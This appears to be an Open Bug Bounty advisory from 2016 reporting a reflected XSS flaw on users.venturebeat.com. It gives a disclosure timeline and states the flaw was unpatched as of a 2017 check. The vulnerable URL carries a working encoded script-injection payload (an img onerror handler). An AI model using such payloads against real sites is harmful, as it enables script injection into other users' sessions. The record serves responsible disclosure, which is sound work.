users.venturebeat.com XSS vulnerability

2016-07-23T05:27:00
ID OBB:168717
Type openbugbounty
Reporter ShivprasadSambhare
Modified 2016-08-02T05:23:00

Description

Vulnerable URL:
https://users.venturebeat.com/register/?ref=http%3A%2F%2Fventurebeat.com%2F%3Fs%3D%2522%253E%253Cimg%2520src%3Dx%2520onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%253E%2522
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 30.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check users.venturebeat.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 23 July, 2016 05:27 GMT
Generic security notifications sent to website owner| 25 July, 2016 13:06 GMT
Customized security notification sent to website owner| 25 July, 2016 13:06 GMT
Notification sent to subscribers (without technical details)| 25 July, 2016 14:17 GMT
Vulnerability details disclosed by researcher| 1 August, 2016 13:13 GMT
Vulnerability existence verified and confirmed| 2 August, 2016 05:23 GMT